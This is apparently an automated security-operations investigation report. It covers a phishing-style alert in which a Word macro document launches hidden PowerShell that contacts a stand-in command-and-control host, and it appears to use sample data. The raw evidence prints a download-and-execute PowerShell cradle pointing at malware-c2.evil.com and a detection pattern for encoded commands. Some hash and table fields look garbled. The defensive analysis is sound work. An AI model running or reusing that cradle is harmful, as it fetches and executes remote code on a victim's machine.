

[SOC-AI-AGENT]

Automated Investigation Report

Alert ID: 1ea26873-6698-4877-910b-133ed01e2832 | Generated: 2026-02-13 04:27:43 UTC

Executive Summary

Verdict: TRUE_POSITIVE (83.225% confidence) — confirmed malicious activity. Key factors: IOC de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c flagged by 1 source(s) (risk score: 100.0). IOC 04029e121a0cfa5991749937dd22a1d9 flagged by 1 source(s) (risk score: 70.0). IOC 1.0.0.0 flagged by 1 source(s) (risk score: 51.5).

Verdict

Confirmed Malicious Activity

Confidence: 83.2%

Alert Details

Field	Value
Alert Type	sysmon
Timestamp	2024-01-15T09:17:46.531000
Classification	c2_communication
Initial Severity	HIGH
Source IP	10.0.2.47
Destination IP	198.51.100.73

Source Host	FINANCE-WS04.corp.acme.local
User	ACME\mthompson
Process	C:\Users\mthompson\AppData\Local\Temp\payload.exe
Command Line	"C:\Users\mthompson\AppData\Local\Temp\payload.exe"
Parent Process	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Investigation Timeline



Triage — Complete
Classified as c2_communication. Severity: HIGH.
Ioc Extraction — Complete
Extracted 17 IOCs: {'sha256': 1, 'md5': 4, 'url': 2, 'ipv4': 2, 'domain': 2, 'file_path_windows': 6}
Enrichment — Complete
Enriched 17 IOCs across threat intel sources.
Correlation — Complete
Found 10 related investigation(s). Shared IOCs: http://schemas.microsoft.com/win/2004/08/events/event (seen 6x), 04029e121a0cfa5991749937dd22a1d9 (seen 2x), 1.0.0.0 (seen 2x). 4 related investigation(s) were previously confirmed as true positives. This significantly increases the likelihood of this alert being malicious.
Att&ck Mapping — Complete
Matched 6 techniques across 4 tactics.
Verdict — Complete
TRUE_POSITIVE (confidence: 83.2%)

IOC Enrichment Results

IOC	Type	Risk Score	Sources Flagged	Summary
-----	------	------------	-----------------	---------

de96a6e69944335375dc[REDACTED]8336066889d9ffc760.0528ef4fe1b1b160ab172c				VT: 0/76 detections. Type: Win32 EXE, Names: powershell.exe, PowerShell.EXE, POWERSHELL OTX: 18 pulses reference this IOC. Tags: february, cain, iocs, choose uptycs, powershell
04029e121a0cfa599174[REDACTED]7dd22a1d9		70.0	1 / 3	VT: 0/76 detections. Type: Win32 EXE, Names: powershell.exe, CPU.exe, xkn.exe OTX: 7 pulses reference this IOC. Tags: 16 23, wcry, cobalt strike, 67 152, 27 7265
f2c0e8a5bd10dbc167e8[REDACTED]65e0b4bef		0.0	0 / 3	OTX: 0 pulses reference this IOC. Tags: none
4a8b2c6d0e2f4a6b8c0d[REDACTED]f6a8b0c2d		0.0	0 / 3	OTX: 0 pulses reference this IOC. Tags: none
b18cc5c6e8e7a408b83a[REDACTED]8c89c0053		0.0	0 / 3	OTX: 0 pulses reference this IOC. Tags: none

http://schemas.microsoft.com/win/2004/08/events/event		0.0	0 / 3	VT: 0/94 engines flagged URL as malicious.
http://malware-c2.ev[REDACTED].com/payload.exe		0.0	0 / 3	
198.51.100.73	[REDACTED]	0.0	0 / 5	VT: 0/93 engines flagged as malicious. AS: N/A, Country: N/A AbuseIPDB: Abuse confidence 0%, 0 reports. ISP: None, Usage: Reserved, Country: None OTX: 0 pulses reference this IOC. Tags: none GreyNoise: IP not observed scanning the internet

1.0.0.0		51.5	1 / 5	<p>VT: 0/93 engines flagged as malicious. AS: CLOUDFLARENET, Country: N/A AbuseIPDB: Abuse confidence 3%, 1 reports. ISP: APNIC and Cloudflare DNS Resolver project, Usage: Content Delivery Network, Country: AU OTX: 50 pulses reference this IOC. Tags: archivesha1, archivesha256, powershell, desktop, look GreyNoise: IP not observed scanning the internet</p>
schemas.microsoft.co 		15.0	0 / 4	<p>VT: 0/93 engines flagged as malicious. Registrar: N/A OTX: 0 pulses reference this IOC. Tags: none WHOIS: Registrar=MarkMonitor, Inc., Created=1991-05-02 04:00:00, Expires=2027-05-03 04:00:00, Country=N/A</p>

malware-c2.evil.com [REDACTED]		0.0	0 / 4	VT: 0/93 engines flagged as malicious. Registrar: Network Solutions, LLC OTX: 0 pulses reference this IOC. Tags: none WHOIS: Registrar=Network Solutions, LLC, Created=1995-04-10 04:00:00, Expires=2031-04-11 04:00:00, Country=N/A
C:\Windows\System32\ [REDACTED] \v1.0.0 powershell.exe		0.0	0 / 0	
C:\Users\mthompson\ [REDACTED]		0.0	0 / 0	
C:\Program [REDACTED]		0.0	0 / 0	
C:\Users\mthompson\ [REDACTED] Financial_Review_URGENT.docm		0.0	0 / 0	
C:\Users\mthompson\ [REDACTED] \Temp\payload.exe		0.0	0 / 0	
C:\Users\mthompson\ [REDACTED] \Temp [REDACTED]		0.0	0 / 0	

MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Evidence
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	powershell.exe

Defense Evasion	T1027.010	Obfuscated Files or Information: Command Obfuscation	-EncodedCommand
Defense Evasion	T1036.005	Masquerading: Match Legitimate Name or Location	\Temp\payload.exe 1.0.0.0 svchost
Defense Evasion	T1036	Masquerading	\Temp\payload.exe 1.0.0.0 svchost
Initial Access	T1566	Phishing	Enrichment tag: phishing
Command and Control	T1090	Proxy	Enrichment tag: known-distributor

Attack chain analysis:

1. **Initial Access**: Phishing (T1566)

2. **Execution**: Command and Scripting Interpreter: PowerShell (T1059.001)

3. **Defense Evasion**: Obfuscated Files or Information: Command Obfuscation (T1027.010), Masquerading: Match Legitimate Name or Location (T1036.005), Masquerading (T1036)

4. **Command and Control**: Proxy (T1090)

Historical Correlation

Found 10 related investigation(s). Shared IOCs: http://schemas.microsoft.com/win/2004/08/events/event (seen 6x), 04029e121a0cfa5991749937dd22a1d9 (seen 2x), 1.0.0.0 (seen 2x). 4 related investigation(s) were previously confirmed as true positives. This significantly increases the likelihood of this alert being malicious.

Alert ID	Type	Verdict	Matching IOC	Date
5023fdde...	sysmon	NEEDS_ESCALATION	04029e121a0cfa5991749937dd22a1d9	2026-02-13T03:55:04.889Z
5ead2fc7...	sysmon	TRUE_POSITIVE	04029e121a0cfa5991749937dd22a1d9	2026-02-13T04:13:33.500Z

047f07d3...	sysmon	NEEDS_ESCALATION	1.0.0.0	2026-02-13T04:00:26.462
88d8bb87...	sysmon	NEEDS_ESCALATION	1.0.0.0	2026-02-13T04:17:16.765
0390d2d6...	sysmon	NEEDS_ESCALATION	http://schemas.micro	2026-02-13T04:01:06.335
b57401c7...	sysmon	FALSE_POSITIVE	http://schemas.micro	2026-02-13T04:02:04.046
a6461952...	sysmon	TRUE_POSITIVE	http://schemas.micro	2026-02-13T04:02:10.151
4baa5d0f...	sysmon	TRUE_POSITIVE	http://schemas.micro	2026-02-13T04:17:56.962
c2b942a9...	sysmon	FALSE_POSITIVE	http://schemas.micro	2026-02-13T04:18:17.438
fc003d9...	sysmon	TRUE_POSITIVE	http://schemas.micro	2026-02-13T04:18:18.544

Reasoning Chain

- IOC de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c flagged by 1 source(s) (risk score: 100.0).
- IOC 04029e121a0cfa5991749937dd22a1d9 flagged by 1 source(s) (risk score: 70.0).
- IOC 1.0.0.0 flagged by 1 source(s) (risk score: 51.5).
- Suspicious command pattern: -[Ee]ncoded[Cc]ommand|FromBase64String
- IOCs appeared in 4 previously confirmed true positive(s). Strong correlation with known malicious activity.
- IOCs correlated across 10 previous investigations.

Attack chain spans 4 MITRE ATT&CK tactics, indicating a sophisticated multi-stage attack.

Matched 6 MITRE ATT&CK technique(s) across 4 tactic(s).

No temporal risk factors identified.

Score Breakdown

Component	Score	Weight	Weighted Score
Enrichment	100	35.0%	35.0
Behavioral	30.0	25.0%	7.5
Correlation	65.0	20.0%	13.0
Mitre	73	15.0%	10.9
Temporal	0.0	5.0%	0.0

Recommended Response Actions

1. Immediately isolate the affected host from the network.
2. Block source IP 10.0.2.47 at the firewall.
3. Reset credentials for user 'ACME\mthompson'.
4. Review all recent activity for user 'ACME\mthompson'.
5. Collect forensic evidence and preserve volatile data.
6. File incident report and notify security leadership.

Raw Evidence

```
<Events> <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System>
<Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" />
```

```
<EventID>1</EventID> <Version>5</Version> <Level>4</Level> <Task>1</Task> <Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime="2024-01-15T09:17:42.318Z"/>
<EventRecordID>98201</EventRecordID> <Correlation/> <Execution ProcessID="2844"
ThreadID="3160"/> <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>FINANCE-WS04.corp.acme.local</Computer> <Security
UserID="S-1-5-21-3541430928-2051711210-1391384369-1147"/> </System> <EventData> <Data
Name="RuleName">technique_id=T1059.001,technique_name=PowerShell</Data> <Data
Name="UtcTime">2024-01-15 09:17:42.301</Data> <Data
Name="ProcessGuid">{C4D396A1-82FA-65A5-3B07-000000001E00}</Data> <Data
Name="ProcessId">5184</Data> <Data
Name="Image">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data> <Data
Name="FileVersion">10.0.19041.1 (WinBuild.160101.0800)</Data> <Data Name="Description">Windows
PowerShell</Data> <Data Name="Product">Microsoft Windows Operating System</Data> <Data
Name="Company">Microsoft Corporation</Data> <Data Name="OriginalFileName">PowerShell.EXE</Data>
<Data Name="CommandLine">powershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABoAGUAdAAuAFcAZQBIAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQ
<Data Name="CurrentDirectory">C:\Users\mthompson\Documents\</Data> <Data
Name="User">ACME\mthompson</Data> <Data
Name="LogonGuid">{C4D396A1-1E5A-65A5-C1F3-0A0000000000}</Data> <Data
Name="LogonId">0xAF3C1</Data> <Data Name="TerminalSessionId">1</Data> <Data
Name="IntegrityLevel">Medium</Data> <Data
Name="Hashes">SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,MD5=04029E121A0CF
<Data Name="ParentProcessGuid">{C4D396A1-82E1-65A5-3A07-000000001E00}</Data> <Data
Name="ParentProcessId">4528</Data> <Data Name="ParentImage">C:\Program Files\Microsoft
Office\root\Office16\WINWORD.EXE</Data> <Data Name="ParentCommandLine">"C:\Program
Files\Microsoft Office\root\Office16\WINWORD.EXE" /n
"C:\Users\mthompson\Documents\Q4_Financial_Review_URGENT.docm"</Data> <Data
Name="ParentUser">ACME\mthompson</Data> </EventData> </Event> <!-- Decoded EncodedCommand: IEX
(New-Object Net.WebClient).DownloadString('hxxp://malware-c2[.]evil.com/payload.exe') -->
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider
Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}"/>
<EventID>3</EventID> <Version>5</Version> <Level>4</Level> <Task>3</Task> <Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords> <TimeCreated SystemTime="2024-01-15T09:17:43.682Z"/>
<EventRecordID>98202</EventRecordID> <Correlation/> <Execution ProcessID="2844"
ThreadID="3160"/> <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>FINANCE-WS04.corp.acme.local</Computer> <Security
UserID="S-1-5-21-3541430928-2051711210-1391384369-1147"/> </System> <EventData> <Data
Name="RuleName">technique_id=T1071.001,technique_name=Web Protocols</Data> <Data
Name="UtcTime">2024-01-15 09:17:43.671</Data> <Data
Name="ProcessGuid">{C4D396A1-82FA-65A5-3B07-000000001E00}</Data> <Data
Name="ProcessId">5184</Data> <Data
Name="Image">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data> <Data
Name="User">ACME\mthompson</Data> <Data Name="Protocol">tcp</Data> <Data
Name="Initiated">true</Data> <Data Name="SourceIsIpv6">false</Data> <Data
Name="SourceIp">10.0.2.47</Data> <Data
Name="SourceHostname">FINANCE-WS04.corp.acme.local</Data> <Data Name="SourcePort">52841</Data>
<Data Name="SourcePortName"/> <Data Name="DestinationIsIpv6">false</Data> <Data
Name="DestinationIp">198.51.100.73</Data> <Data
Name="DestinationHostname">malware-c2.evil.com</Data> <Data Name="DestinationPort">80</Data>
<Data Name="DestinationPortName">http</Data> </EventData> </Event> <Event
xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider
Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}"/>
```

```
<EventID>11</EventID> <Version>2</Version> <Level>4</Level> <Task>11</Task> <Opcode>0</Opcode>  
<Keywords>0x8000000000000000</Keywords> <TimeC
```

Generated by SOC-AI-Agent | Automated Security Investigation Platform
Report generated at 2026-02-13 04:27:43 UTC